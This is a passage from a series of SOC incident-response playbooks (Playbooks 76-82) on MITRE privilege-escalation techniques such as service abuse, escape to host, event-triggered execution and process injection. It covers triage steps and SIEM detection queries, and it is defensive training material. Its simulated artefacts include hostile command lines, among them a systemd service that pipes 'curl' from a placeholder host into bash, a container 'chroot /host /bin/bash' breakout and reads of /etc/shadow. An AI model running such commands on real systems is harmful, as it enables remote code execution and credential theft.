3. Notify SOC leadership, AD/IAM, Linux/macOS platform teams
4. Assume trust boundary compromise

Eradication and recovery

- Remove malicious commands from scripts
- Restore scripts from known-good baselines
- Rotate credentials affected by escalation
- Restrict script write permissions
- Enforce script signing and integrity checks

Detection engineering (SIEM ideas)

A) Logon script modification

index=ad OR index=windows
| where object_modified IN ("NETLOGON","GPO","logon script")

B) Elevated execution after logon

index=edr
| where event="process_start"
| where parent_event="logon"
| where privilege IN ("SYSTEM","root")

C) RC or init script changes

index=linux
| where file_path IN ("/etc/rc.local","/etc/init.d")

Analyst checklist

- Script-based privilege escalation confirmed
- Sub-technique identified
- Scripts restored and locked down
- Credentials reviewed

- Incident escalated appropriately

Post-incident improvements

- Treat logon and boot scripts as privilege escalation vectors
- Enforce strict change control and code review
- Monitor script execution context and outcomes
- Apply integrity monitoring to NETLOGON, GPO, init paths
- Correlate script change → logon → privilege elevation

Playbook 76 (MITRE Privilege Escalation): Create or Modify System Process

Technique: Create or Modify System Process

Sub-techniques:

- Launch Agent
- Systemd Service
- Windows Service
- Launch Daemon
- Container Service

Purpose

Detect, investigate and respond to adversaries escalating privileges by creating or modifying system-managed processes, enabling attackers to:

- Execute malicious code as SYSTEM, root or privileged service accounts
- Abuse trusted service managers and init systems
- Achieve privilege escalation without exploiting binaries
- Blend malicious logic into legitimate system services
- Gain persistence and escalation in a single action

Create or Modify System Process is privilege escalation via service trust attackers let the OS run their code with elevated authority.

When to trigger this playbook

Trigger this playbook when indicators suggest unauthorised creation or modification of privileged system processes, including:

- New services appearing without approved change requests
- Existing services modified to run unexpected binaries
- Privilege escalation occurring immediately after service start
- Service execution tied to suspicious scripts or LOLBins
- Elevated execution without exploit telemetry

Example use case scenario (end-to-end)

Context: SOC detects a non-admin user gaining SYSTEM privileges shortly after reboot. No exploit is detected. Service audit reveals a modified Windows service now executing a malicious binary from C:\ProgramData.

Attacker objective: Escalate privileges reliably and silently by abusing service execution context.

Defender objective: Remove malicious service changes and restore trusted service configurations.

What it looks like (simulated SOC artefacts)

A) Windows Service Creation

ServiceName=UpdateSvc
BinaryPath=C:\ProgramData\update.exe
RunAs=LocalSystem
Creator=UserContext

B) Systemd Service Abuse

Service=net-update.service
ExecStart=/bin/bash -c "curl http://x.x.x.x/payload | bash"
User=root

C) Launch Agent (macOS)

File=~/.Library/LaunchAgents/com.update.plist
ProgramArguments=/usr/bin/sudo updater

D) Launch Daemon (macOS)

File=/Library/LaunchDaemons/com.sysupdate.plist
RunAtLoad=True
User=root

E) Container Service Modification

Platform=Docker
Service=db-backup
Image=attacker/image:latest
Privilege=--privileged

F) Privilege Escalation Result

User=attacker
NewPrivilege=SYSTEM

G) Follow-on Activity

NextAction=CredentialAccess

Severity decision (SOC)

High

- Privilege escalation limited to a single host

Critical

- SYSTEM/root escalation on servers, clusters or shared infrastructure
- Abuse of centrally managed services

Example severity: Critical

(Privilege escalation via trusted service execution)

Step-by-step SOC workflow

Step 1 Validate service-based privilege escalation

Confirm:

1. Was a new system process created or modified?
2. Does it run with higher privileges than the attacker initially had?
3. Is the process managed by the OS service manager?
4. Is there no exploit-based escalation evidence?

Decision point

- Legitimate service change → validate change approval
- Malicious service manipulation → escalate immediately

Step 2 Identify sub-technique and scope

Sub-technique	Evidence	Attacker value
Windows services	SYSTEM execution	Reliability
Systemd services	Root execution	Cross-distro
Launch agents	User-to-root pivot	Stealth
Launch daemons	Boot-time root exec	Durability
Container services	Privileged workloads	Infrastructure control

Step 3 Map behaviour to attacker intent

3A) Exploitless Privilege Escalation

Indicators

- No exploit telemetry

Attacker intent

- Avoid exploit detection

3B) Trust Abuse

Indicators

- Abuse of OS-managed services

Attacker intent

- Blend into system operations

3C) Persistence + Escalation

Indicators

- Service runs at boot

Attacker intent

- Durable elevated foothold

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Credential Access
 - LSASS, keychain, shadow file access
2. Lateral Movement
 - RDP, SSH, SMB using new privileges
3. Defense Evasion
 - Service masquerading, binary replacement
4. Impact
 - Ransomware staging, system sabotage

Decision point

- Follow-on detected → escalate to Crisis / Executive IR

Containment actions

Immediate

1. Disable or stop malicious services
2. Isolate affected hosts
3. Prevent service restart

If service-based escalation confirmed

1. Preserve service definitions and binaries for forensics
2. Identify how service creation/modification was permitted
3. Notify SOC leadership, OS platform owners and management
4. Assume root/SYSTEM compromise

Eradication and recovery

- Remove malicious services and restore originals
- Rebuild affected systems if service integrity is uncertain
- Rotate credentials exposed post-escalation
- Restrict service creation/modification permissions
- Enforce service integrity monitoring

Detection engineering (SIEM ideas)

A) Service creation or modification

index=windows OR index=linux
| where event_type IN ("service_create","service_modify")

B) Privileged service executing unexpected binary

index=edr
| where process_parent IN ("services.exe","systemd","launchd")
| where binary_path NOT IN approved_paths

C) Privileged container service creation

index=cloud
| where action="create_service"
| where privileged=true

Analyst checklist

- Service-based privilege escalation confirmed
- Sub-technique identified

- Malicious services removed
- Credentials reviewed and rotated
- Incident escalated appropriately

Post-incident improvements

- Treat service managers as privilege escalation surfaces
- Enforce strict approval for service creation/modification
- Monitor service binary paths and execution context
- Baseline legitimate services across OS and platforms
- Correlate service change → privilege change → execution

Playbook 77 (MITRE Privilege Escalation): Domain or Tenant Policy Modification

Technique: Domain or Tenant Policy Modification

Sub-techniques:

- Group Policy Modification
- Trust Modification

Purpose

Detect, investigate and respond to adversaries escalating privileges by modifying domain or cloud-tenant-wide policies, enabling attackers to:

- Elevate privileges at scale, not just per host
- Weaken or bypass security controls centrally
- Grant themselves or others persistent administrative rights
- Abuse identity and trust relationships instead of exploits
- Convert limited access into enterprise-wide control

Domain or Tenant Policy Modification is privilege escalation at the control plane attackers stop escalating one system and start rewriting the rules.

When to trigger this playbook

Trigger this playbook when indicators suggest unauthorised or suspicious policy or trust changes, including:

- GPOs modified without approved change records
- Security settings weakened across multiple systems simultaneously
- New or altered trust relationships between domains or tenants
- Privilege escalation affecting many users or devices at once
- Administrative capability gained without host-level exploits

Example use case scenario (end-to-end)

Context: SOC observes multiple workstations disabling credential protections and antivirus simultaneously. No malware update or IT change is scheduled. AD audit logs reveal a Group Policy Object was modified to disable security features and add a user to local Administrators across the domain.

Attacker objective: Achieve mass privilege escalation through central policy control.

Defender objective: Revoke unauthorised policy changes and restore domain/tenant trust.

What it looks like (simulated SOC artefacts)

A) Group Policy Modification

GPO=Workstation-Security
Change=Local Administrators Group
AddedUser=corp\attacker
Scope=All Workstations

B) Security Control Weakening

Policy=Credential Guard
State=Disabled
GPO=Workstation-Security

C) Trust Modification (On-Prem)

Trust=corp.local ↔ ext.local
Direction=Two-Way
Auth=Selective Disabled

D) Trust Modification (Cloud)

Tenant=AAD
Federation=ExternalIDP
Trust=Added
Privilege=GlobalAdminDelegation

E) Rapid Privilege Propagation

HostsAffected=124
TimeWindow=15 minutes

F) Follow-on Activity

NextAction=LateralMovement

Severity decision (SOC)

High

- Policy changes affecting limited scope or non-critical systems

Critical

- Domain-wide or tenant-wide policy or trust modification
- Privilege escalation impacting many users or devices

Example severity: Critical

(Control-plane privilege escalation)

Step-by-step SOC workflow

Step 1 Validate policy-based privilege escalation

Confirm:

1. Were domain or tenant policies modified?
2. Did changes grant new privileges or weaken security?
3. Was there no approved change request?
4. Did escalation occur without host-level exploits?

Decision point

- Approved IT/security change → validate scope and intent
- Malicious policy or trust modification → escalate immediately

Step 2 Identify sub-technique and scope

Sub-technique	Evidence	Attacker value
Group Policy modification	GPO changes	Mass escalation
Trust modification	Domain/tenant trust	Cross-boundary access
Security policy weakening	Disabled protections	Easier follow-on
Identity control abuse	Central authority	Total dominance

Step 3 Map behaviour to attacker intent

3A) Enterprise-Scale Privilege Escalation

Indicators

- Multiple systems/users elevated at once

Attacker intent

- Fast, broad control

3B) Defense Neutralisation

Indicators

- Security settings disabled centrally

Attacker intent

- Reduce detection and resistance

3C) Long-Term Control

Indicators

- Persistent policy or trust changes

Attacker intent

- Durable, high-impact access

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Lateral Movement
 - Domain-wide RDP/SMB/WinRM usage
2. Credential Access
 - LSASS dumping, DCSync
3. Defense Evasion
 - Logging or AV disabled by policy
4. Impact
 - Ransomware, mass data access, sabotage

Decision point

- Follow-on detected → escalate to **Crisis / Executive IR**

Containment actions

Immediate

1. Revert unauthorised GPO and trust changes
2. Disable accounts responsible for modifications
3. Freeze further policy changes

If domain/tenant policy compromise confirmed

1. Preserve AD, Azure AD or IAM audit logs
2. Identify how attacker obtained policy modification rights
3. Notify SOC leadership, IAM, IT Ops and Executive Management
4. Assume **control-plane compromise**

Eradication and recovery

- Restore policies from known-good backups
- Remove unauthorised trust relationships
- Rotate credentials for domain/tenant admins
- Revalidate security baselines across all systems
- Monitor continuously for re-modification

Detection engineering (SIEM ideas)

A) Group Policy changes

```
index=ad  
| where event_type="gpo_modified"
```

B) Trust relationship changes

```
index=ad OR index=cloud  
| where action IN ("add_trust","modify_trust","add_federation")
```

C) Rapid privilege propagation

```
index=windows  
| stats count by group, _time  
| where count > threshold
```

Analyst checklist

- Policy-based privilege escalation confirmed
- Sub-technique identified
- Policies and trusts restored
- Credentials rotated
- Incident escalated appropriately

Post-incident improvements

- Treat policy modification as a Tier-0 privilege escalation event
- Enforce strict change control and approvals
- Monitor GPO and IAM policy changes in real time

- Apply just-in-time admin privileges
- Correlate policy change → privilege change → lateral movement

BY IZMER IZUDDIN

Playbook 78 (MITRE Privilege Escalation): Escape to Host

Technique: Escape to Host

Purpose

Detect, investigate and respond to adversaries escalating privileges by escaping from a constrained or isolated execution environment to the underlying host, enabling attackers to:

- Break out of containers, sandboxes, VMs or restricted runtimes
- Transition from low-privilege or isolated contexts to host-level control
- Bypass security assumptions of containerisation or virtualisation
- Access host resources, credentials and networks
- Convert application-level access into system-level dominance

Escape to Host is boundary-breaking privilege escalation attackers cross trust boundaries rather than exploit user accounts.

When to trigger this playbook

Trigger this playbook when indicators suggest unexpected interaction between isolated workloads and the host system, including:

- Container or VM processes accessing host filesystem or devices
- Privileged host actions originating from container contexts
- Sudden host-level access following application compromise
- Kubernetes, Docker or hypervisor logs showing abnormal behaviour
- Privilege escalation without local user or exploit telemetry

Example use case scenario (end-to-end)

Context: SOC detects a Kubernetes pod executing commands on the underlying node. The pod was compromised via a vulnerable web application. Investigation reveals the container was running with `HostPrivileged` access and mounted the host filesystem.

Attacker objective: Escape isolation and gain **full host-level control**.

Defender objective:

Contain the breakout, secure the host and restore isolation guarantees.

What it looks like (simulated SOC artefacts)

A) Container-to-Host File Access

Process=container_app
Path=/host/etc/shadow
Access=Read

B) Privileged Container Context

Container=web-app
Privilege=--privileged
Capabilities=ALL

C) Host Command Execution

SourceContext=Container
ExecutedOn=Host
Command=chroot /host /bin/bash

D) Device Abuse

Device=/dev/kmsg
Access=Write

E) VM Escape Indicator

Guest=VM01
Action=Hypercall Abuse
HostImpact=Process Spawn

F) Follow-on Activity

NextAction=CredentialAccess

Severity decision (SOC)

High

- Escape attempt detected but blocked

Critical

- Successful escape to host
- Host-level privileges obtained from isolated environment

Example severity: Critical

(Isolation boundary compromise)

Step-by-step SOC workflow

Step 1 Validate escape to host

Confirm:

1. Did execution originate inside a container, VM or sandbox?
2. Did the attacker access host-level resources?
3. Was isolation misconfigured or bypassed?
4. Is there no legitimate administrative justification?

Decision point

- Misconfiguration without abuse → remediate hardening gaps
- Successful escape → escalate immediately

Step 2 Identify escape vector and scope

Escape Vector	Evidence	Attacker value
Privileged container	--privileged usage	Full host access
HostPath mounts	/host filesystem	Credential theft
Docker socket abuse	/var/run/docker.sock	Root on host
Kernel interface abuse	/proc, /dev	Deep control
VM escape	Hypervisor flaw	Infrastructure takeover

Step 3 Map behaviour to attacker intent

3A) Boundary Breach

Indicators

- Container → host transition

Attacker intent

- Break isolation guarantees

3B) Rapid Privilege Escalation

Indicators

- Immediate root/SYSTEM access

Attacker intent

- Skip user-level escalation

3C) Infrastructure Control

Indicators

- Node, hypervisor or host compromise

Attacker intent

- Broaden control surface

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Credential Access
 - /etc/shadow, kubelet creds, cloud metadata
2. Lateral Movement
 - Node-to-node or host-to-network pivots
3. Persistence
 - Host services, cron, systemd, startup
4. Impact
 - Data exfiltration, ransomware, cluster sabotage

Decision point

- Follow-on detected → escalate to Crisis / Executive IR

Containment actions

Immediate

1. Isolate affected hosts and nodes
2. Stop and quarantine compromised containers/VMs
3. Block further container scheduling on impacted nodes

If escape confirmed

1. Preserve container, host and orchestration logs
2. Identify misconfiguration or vulnerability enabling escape
3. Notify SOC leadership, Cloud, Platform and Executive teams
4. Treat incident as infrastructure-level compromise

Eradication and recovery

- Rebuild affected hosts from trusted images
- Remove privileged containers and unsafe mounts
- Rotate host, cluster and cloud credentials
- Patch container runtime or hypervisor vulnerabilities
- Revalidate isolation and security baselines

Detection engineering (SIEM ideas)

A) Container accessing host paths

index=container

| where file_path LIKE "/host/%" OR file_path IN ("/etc/shadow","/proc/kcore")

B) Docker socket access

index=linux

| where file_path="/var/run/docker.sock"

C) Privileged container deployment

index=cloud

| where container_privileged=true

Analyst checklist

- Escape to host confirmed
- Escape vector identified
- Hosts isolated and rebuilt
- Credentials rotated
- Incident escalated appropriately

Post-incident improvements

- Treat isolation boundaries as privilege boundaries
- Enforce least-privilege container and VM configurations
- Block privileged containers by default
- Monitor container-to-host interactions continuously
- Correlate workload compromise → host access → escalation

Playbook 79 (MITRE Privilege Escalation): Event Triggered Execution

Technique: Event Triggered Execution

Sub-techniques:

- Change Default File Association
- Screensaver
- Windows Management Instrumentation Event Subscription
- Unix Shell Configuration Modification
- Trap
- LC_LOAD_DYLIB Addition
- Netsh Helper DLL
- Accessibility Features
- AppCert DLLs
- Applnit DLLs
- Application Shimming
- Image File Execution Options Injection
- PowerShell Profile
- Emond
- Component Object Model Hijacking
- Installer Packages
- Udev Rules
- Python Startup Hooks

Purpose

Detect, investigate and respond to adversaries escalating privileges by abusing system events that automatically trigger execution, enabling attackers to:

- Execute malicious code when predictable system or user events occur
- Gain elevated execution without exploits
- Hijack trusted OS execution paths
- Blend into normal system behaviour
- Achieve stealthy privilege escalation + persistence

Event Triggered Execution is privilege escalation by automation abuse the attacker doesn't run code directly, they wait for the system to do it for them.

When to trigger this playbook

Trigger this playbook when indicators suggest unexpected execution tied to system or user events, including:

- Elevated execution triggered by login, file open, screensaver or system events

- Registry or config changes tied to auto-execution paths
- Privileged execution with no exploit telemetry
- Execution that only occurs after a specific trigger
- Repeated escalation after reboot, logon or user action

Example use case scenario (end-to-end)

Context: SOC detects SYSTEM-level PowerShell execution whenever users log in. No scheduled task or service exists. Investigation reveals a modified PowerShell profile that executes a malicious script at startup.

Attacker objective: Escalate privileges silently by abusing event-based execution.

Defender objective: Remove trigger-based execution paths and restore trusted execution flow.

What it looks like (simulated SOC artefacts)

A) PowerShell Profile Abuse

File=C:\Windows\System32\WindowsPowerShell\v1.0\profile.ps1
Command=Start-Process cmd.exe -Verb RunAs

B) IFEO Injection

Registry=HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution
Options\utilman.exe
Debugger=C:\malicious.exe

C) WMI Event Subscription

EventFilter=LogonTrigger
Consumer=CommandLineEventConsumer
Command=cmd.exe /c evil.exe

D) Applnit DLL Abuse

Registry=HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows
Applnit_DLLs=C:\evil.dll

E) Accessibility Feature Abuse

Binary=sethc.exe
Replacement=C:\cmd.exe

Trigger=Shift x5

F) Udev Rule (Linux)

Rule=ACTION=="add", RUN+="/usr/bin/root.sh"

G) Privilege Escalation Result

Context=SYSTEM / root

Trigger=Event-based

H) Follow-on Activity

NextAction=CredentialAccess

Severity decision (SOC)

High

- Event-based escalation limited to one host

Critical

- SYSTEM/root execution triggered by common user/system events
- Domain-wide or fleet-wide triggers

Example severity: Critical

(Exploit-less, stealthy privilege escalation)

Step-by-step SOC workflow

Step 1 Validate event-triggered escalation

Confirm:

1. Does execution occur only after a specific event?
2. Does the trigger exist in trusted OS execution paths?
3. Does execution run with higher privileges than the attacker initially had?
4. Is there no exploit or token abuse evidence?

Decision point

- Legitimate automation → validate approval and scope
- Malicious trigger → escalate immediately

Step 2 Identify sub-technique and scope

Sub-technique	Trigger	Attacker value
IFEO, AppInit, AppCert	Process launch	SYSTEM abuse
WMI subscription	System events	Stealth
Accessibility features	User interaction	Local escalation
PowerShell profiles	Logon	Reliability
Shell config / traps	Command execution	Unix persistence
Udev rules	Hardware events	Root execution
COM hijacking	App launch	Silent execution

Step 3 Map behaviour to attacker intent

3A) Stealth Escalation

Indicators

- Execution only after trigger

Attacker intent

- Avoid real-time detection

3B) Trust Abuse

Indicators

- Use of OS-trusted execution paths

Attacker intent

- Blend into legitimate behaviour

3C) Persistence + Privilege Escalation

Indicators

- Trigger survives reboot

Attacker intent

- Long-term elevated foothold

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Credential Access
 - LSASS, keychain, shadow files
2. Lateral Movement
 - RDP, SSH, SMB with new privileges
3. Defense Evasion
 - Trigger cleanup or obfuscation
4. Impact
 - Ransomware staging, sabotage

Decision point

- Follow-on detected → escalate to Crisis / Executive IR

Containment actions

Immediate

1. Disable malicious triggers (registry, config, rules)
2. Isolate affected systems
3. Block execution of malicious binaries

If event-triggered escalation confirmed

1. Preserve registry, config and event subscription artefacts
2. Identify how write access to trigger paths was obtained
3. Notify SOC leadership, OS platform teams and management
4. Assume privilege boundary compromise

Eradication and recovery

- Remove malicious triggers and restore defaults
- Rebuild systems if execution flow integrity is uncertain
- Rotate credentials accessed post-escalation
- Harden auto-execution paths
- Enable integrity monitoring on trigger locations

Detection engineering (SIEM ideas)

A) Registry-based execution triggers

index=windows

| where registry_path IN (

"Image File Execution Options",
"AppInit_DLLs",
"Accessibility"
)

B) WMI permanent event subscriptions

index=windows
| where event_type="wmi_event_subscription"

C) Linux udev and shell config changes

index=linux
| where file_path LIKE "/etc/udev/%" OR file_path LIKE "*/.bashrc"

Analyst checklist

- Event-triggered execution confirmed
- Sub-technique identified
- Triggers removed and locked down
- Credentials reviewed
- Incident escalated appropriately

Post-incident improvements

- Treat event-based execution paths as Tier-0 escalation surfaces
- Monitor registry, WMI, shell and init changes continuously
- Enforce least privilege on trigger configuration paths
- Correlate trigger creation → event → elevated execution
- Include event-triggered escalation in threat-hunting playbooks

Playbook 80 (MITRE Privilege Escalation): Exploitation for Privilege Escalation

Technique: Exploitation for Privilege Escalation

Purpose

Detect, investigate and respond to privilege escalation achieved through exploitation of software vulnerabilities, enabling attackers to:

- Elevate from user to administrator/root/SYSTEM
- Break security boundaries enforced by the OS or applications
- Gain full control of hosts after initial access
- Bypass least-privilege and access controls
- Rapidly transition from foothold to domain or infrastructure control

Unlike configuration abuse, exploitation-based escalation relies on bugs, flaws or unpatched weaknesses and often represents a critical security failure.

When to trigger this playbook

Trigger this playbook when indicators suggest unexpected privilege elevation caused by exploitation, including:

- Sudden admin/root access without policy changes
- Privilege escalation following crash, fault or exploit alert
- Kernel, driver or service crashes preceding elevated execution
- Exploit tooling detected (e.g., local privilege escalation exploits)
- Elevated processes spawned by previously low-privileged users
- Host compromise progressing unusually fast after initial access

Example use case scenario (end-to-end)

Context: SOC detects a standard user account spawning a SYSTEM shell on a Windows server. No token abuse, sudo misuse or policy change is found. EDR logs show a kernel driver crash followed by execution of a known local privilege escalation exploit.

Attacker objective: Exploit a vulnerability to gain immediate, high-privilege access.

Defender objective: Identify exploited vulnerabilities, contain the host and prevent recurrence through patching and hardening.

What it looks like (simulated SOC artefacts)

A) Kernel or Driver Crash

event=BugCheck
code=0x0000003B
faulting_driver=vuln.sys
user=user01

B) Exploit Execution

process=exploit.exe
user=user01
action=TriggerKernelExploit

C) Privilege Escalation Success

child_process=cmd.exe
run_as=NT AUTHORITY\SYSTEM
parent_process=exploit.exe

D) Linux Local Privilege Escalation

process=dirtypipe
user=www-data
result=uid=0(root)

E) Service Exploit

service=Spooler
action=MemoryCorruption
followed_by=SYSTEM shell

Severity decision (SOC)

Low

- Exploit attempt failed
- No privilege escalation achieved

Medium

- Exploit attempted on non-critical system
- Limited scope, no persistence

High / Critical

- Successful escalation to SYSTEM/root

- Exploit used on server, DC or critical workload
- Follow-on actions observed

Example severity: Critical

(Kernel exploit + SYSTEM access + lateral movement potential)

Step-by-step SOC workflow

Step 1 Validate exploitation occurred

Confirm:

1. Was a vulnerability exploited, not a misconfiguration?
2. Which component failed (kernel, driver, service, application)?
3. Did exploitation result in privilege elevation?
4. Is the vulnerability known (CVE) or zero-day?

Decision point

- False positive or benign crash → document and monitor
- Confirmed exploit → continue investigation immediately

Step 2 Identify exploited component and scope

Exploit target	Evidence	Attacker value
Kernel	BugCheck, panic	Full system control
Drivers	Faulting driver	SYSTEM/root
Services	Service crash	Privileged execution
Applications	SUID/Setuid abuse	Root escalation
Hypervisor/runtime	Isolation failure	Infrastructure control

Step 3 Map behaviour to attacker intent

3A) Rapid Privilege Escalation

Indicators

- Immediate SYSTEM/root access
- No policy or account changes

Attacker intent

- Bypass all access controls quickly

3B) Defense Bypass

Indicators

- Exploit occurs below security tooling
- Kernel or service level

Attacker intent

- Evade detection and prevention

3C) Environment Takeover

Indicators

- Exploit followed by credential access or persistence

Attacker intent

- Prepare for lateral movement and impact

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Persistence
 - Services, startup items, accounts
2. Credential Access
 - LSASS, /etc/shadow, secrets
3. Lateral Movement
 - Admin reuse across hosts
4. Impact
 - Ransomware, sabotage, data theft

Decision point

- Evidence found → escalate to Incident Response / Crisis Mode

Containment actions

Immediate

1. Isolate affected host from network
2. Terminate exploited processes

3. Block exploit binaries or signatures

If exploitation confirmed

1. Assume host integrity is compromised
2. Disable affected services or drivers
3. Preserve memory and disk for forensics
4. Rotate credentials accessible from host

Eradication and recovery

- Patch exploited vulnerabilities immediately
- Remove vulnerable drivers or software
- Rebuild compromised hosts from trusted images
- Validate kernel and service integrity
- Reintroduce host only after full validation

Detection engineering (SIEM ideas)

A) Privilege escalation without policy change

```
index=edr  
| where child_user IN ("SYSTEM","root")  
| where parent_user NOT IN ("SYSTEM","root")
```

B) Kernel or service crash followed by elevated process

```
index=os  
| transaction host maxspan=5m  
| where event="Crash"  
| where later(child_user="SYSTEM")
```

C) Known LPE exploit indicators

```
index=edr  
| where process_name IN ("dirtypipe","exploit.exe","pkexec")
```

Analyst checklist

- Exploitation confirmed
- Vulnerable component identified
- Host isolated and rebuilt
- Patches applied environment-wide
- Monitoring strengthened

Post-incident improvements

- Treat local privilege escalation exploits as Tier-0 threats
- Reduce attack surface (drivers, legacy services)
- Enforce aggressive patching SLAs
- Monitor crash-then-escalation patterns
- Include LPE exploitation in SOC simulations

BY IZMER IZZUDDIN

Playbook 81 (MITRE Privilege Escalation): Hijack Execution Flow

Technique: Hijack Execution Flow

Sub-techniques:

- DLL
- Dylib Hijacking
- Executable Installer File Permissions Weakness
- Dynamic Linker Hijacking
- Path Interception by PATH Environment Variable
- Path Interception by Search Order Hijacking
- Path Interception by Unquoted Path
- Services File Permissions Weakness
- Services Registry Permissions Weakness
- COR_PROFILER
- KernelCallbackTable
- AppDomainManager

Purpose

Detect, investigate and respond to adversaries escalating privileges by hijacking how legitimate programs load or execute code, enabling attackers to:

- Inject malicious code into trusted, privileged processes
- Gain SYSTEM/root execution without exploits
- Abuse OS and application loading mechanisms
- Blend malicious code into legitimate execution chains
- Escalate privileges using execution order and trust weaknesses

Hijack Execution Flow is privilege escalation through execution trust abuse the attacker doesn't run malware directly they trick trusted software into loading it.

When to trigger this playbook

Trigger this playbook when indicators suggest unexpected code execution originating from legitimate binaries, including:

- SYSTEM/root processes loading non-standard DLLs or libraries
- Privileged services executing binaries from user-writable paths
- Execution anomalies following application start, not user action
- Registry or environment variable manipulation affecting execution
- Privilege escalation with no exploit, token abuse or credential theft

Example use case scenario (end-to-end)

Context: SOC observes services.exe launching a malicious DLL with SYSTEM privileges. No service binary was replaced. Investigation shows a writable directory in the service's DLL search path.

Attacker objective: Escalate privileges silently by hijacking a trusted execution flow.

Defender objective: Restore execution integrity and eliminate hijacking vectors.

What it looks like (simulated SOC artefacts)

A) DLL Search Order Hijacking

Process=services.exe
LoadedDLL=C:\ProgramData\version.dll
ExpectedPath=C:\Windows\System32\version.dll

B) Unquoted Service Path

Service=Updater Service
ImagePath=C:\Program Files\Updater Service\service.exe
InjectedBinary=C:\Program.exe

C) PATH Environment Variable Abuse

PATH=C:\Users\Public\bin;C:\Windows\System32
ExecutedBinary=net.exe
LoadedBinary=C:\Users\Public\bin\net.exe

D) COR_PROFILER Abuse (.NET)

EnvVar=COR_ENABLE_PROFILING=1
ProfilerDLL=C:\temp\evil.dll
Privilege=SYSTEM

E) AppDomainManager Injection

Registry=HKLM\Software\Microsoft\NETFramework
AppDomainManagerAssembly=Evil, Version=1.0.0.0

F) KernelCallbackTable Abuse

Process=winlogon.exe
CallbackFunction=MaliciousShellcode

G) Privilege Escalation Result

Context=SYSTEM / root

Method=Execution Flow Hijack

H) Follow-on Activity

NextAction=CredentialAccess

Severity decision (SOC)

High

- Hijack affects a single local system

Critical

- SYSTEM/root execution achieved
- Abuse of services, logon processes or widely used binaries

Example severity: Critical

(Exploit-less privilege escalation via trusted execution)

Step-by-step SOC workflow

Step 1 Validate execution flow hijack

Confirm:

1. Did a legitimate binary load attacker-controlled code?
2. Was execution unexpected based on binary's normal behaviour?
3. Did execution occur with higher privileges?
4. Is there no exploit or token manipulation evidence?

Decision point

- Legitimate software behaviour → validate vendor behaviour
- Malicious hijack → escalate immediately

Step 2 Identify sub-technique and scope

Sub-technique	Indicator	Attacker value
DLL/Dylib hijacking	Malicious library load	SYSTEM/root
Search order hijack	Wrong library path	Stealth

PATH interception	Binary replacement	Simplicity
Unquoted paths	Installer/service abuse	Reliability
COR_PROFILER/AppDomain	.NET process injection	Silent
KernelCallbackTable	Winlogon abuse	Deep control

Step 3 Map behaviour to attacker intent

3A) Exploit-less Privilege Escalation

Indicators

- No crash, exploit or memory corruption

Attacker intent

- Avoid exploit-based detection

3B) Trust Chain Abuse

Indicators

- Trusted binaries execute attacker code

Attacker intent

- Leverage OS trust model

3C) Stealthy Persistence

Indicators

- Hijack survives reboot and restarts

Attacker intent

- Durable, hidden escalation

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Credential Access
 - LSASS access, token theft
2. Lateral Movement

- RDP/SMB/SSH using elevated context
- 3. Defense Evasion
 - Masquerading, cleanup of artifacts
- 4. Impact
 - Ransomware staging, system sabotage

Decision point

- Follow-on detected → escalate to Crisis / Executive IR

Containment actions

Immediate

1. Terminate affected processes
2. Remove malicious libraries/binaries
3. Isolate impacted systems

If execution flow hijack confirmed

1. Preserve binaries, libraries, registry and env vars
2. Identify writable paths abused by attacker
3. Notify SOC leadership and OS platform owners
4. Assume full privilege compromise

Eradication and recovery

- Restore legitimate binaries and libraries
- Fix permissions on executable and service paths
- Quote all service paths
- Remove unsafe environment variables
- Rebuild systems if execution integrity is uncertain

Detection engineering (SIEM ideas)

A) Privileged process loading non-system libraries

```
index=edr
| where process_privilege IN ("SYSTEM","root")
| where loaded_path NOT LIKE "C:\\Windows\\System32%"
```

B) Unquoted service paths

```
index=windows
```

| where service_path LIKE "% %"
| where service_path NOT LIKE "\"%\""

C) COR_PROFILER abuse

index=windows
| where env_var="COR_ENABLE_PROFILING"

Analyst checklist

- Execution flow hijack confirmed
- Sub-technique identified
- Malicious code removed
- Permissions hardened
- Incident escalated appropriately

Post-incident improvements

- Treat execution flow integrity as a Tier-0 control
- Monitor library loads for privileged processes
- Enforce strict file and directory permissions
- Baseline service configurations and paths
- Correlate trusted process → unexpected code load → privilege escalation

Playbook 82 (MITRE Privilege Escalation): Process Injection

Technique: Process Injection

Sub-techniques:

- Dynamic-link Library Injection
- Portable Executable Injection
- Thread Execution Hijacking
- Asynchronous Procedure Call
- Thread Local Storage
- Ptrace System Calls
- Proc Memory
- Extra Window Memory Injection
- Process Hollowing
- Process Doppelgänger
- VDSO Hijacking
- ListPlanting

Purpose

Detect, investigate and respond to adversaries escalating privileges by injecting malicious code into higher-privileged processes, enabling attackers to:

- Execute code as SYSTEM/root without launching new binaries
- Hide malicious execution inside trusted processes
- Bypass application allowlists and security controls
- Escalate privileges through process trust abuse
- Combine stealth, persistence and escalation

Process Injection is privilege escalation via execution parasitism attackers piggyback on trusted processes rather than running their own.

When to trigger this playbook

Trigger this playbook when indicators suggest unexpected memory manipulation or thread execution in privileged processes, including:

- SYSTEM/root processes executing untrusted code
- Memory writes or thread creation across process boundaries
- Privilege escalation without service creation, exploits or credential abuse
- Suspicious API usage related to memory or thread control
- Security tools detecting hollowed or tampered processes

Example use case scenario (end-to-end)

Context: SOC observes lsass.exe spawning suspicious network connections. No LSASS exploit is detected. EDR telemetry shows a low-privileged process writing memory into LSASS and hijacking a thread.

Attacker objective: Escalate privileges and access credentials silently by injecting code into a privileged process.

Defender objective: Contain injected execution and restore process integrity.

What it looks like (simulated SOC artefacts)

A) DLL Injection

TargetProcess=svchost.exe
InjectedDLL=C:\ProgramData\evil.dll
Privilege=SYSTEM

B) Process Hollowing

OriginalProcess=notepad.exe
ReplacedImage=C:\temp\payload.exe
ExecutionContext=SYSTEM

C) APC Injection

SourcePID=4321
TargetPID=512
APCQueued=True
ThreadState=Alertable

D) Proc Memory Abuse (Linux)

TargetProcess=sshd
File=/proc/1234/mem
WriteAccess=True

E) Ptrace Injection

Command=ptrace(PTRACE_ATTACH)
Target=cron
User=attacker

F) Process Doppelgänger

TransactedFile=payload.exe
VisibleFile=None
LoadedImage=InMemory

G) Privilege Escalation Result

Context=SYSTEM / root
Method=Process Injection

H) Follow-on Activity

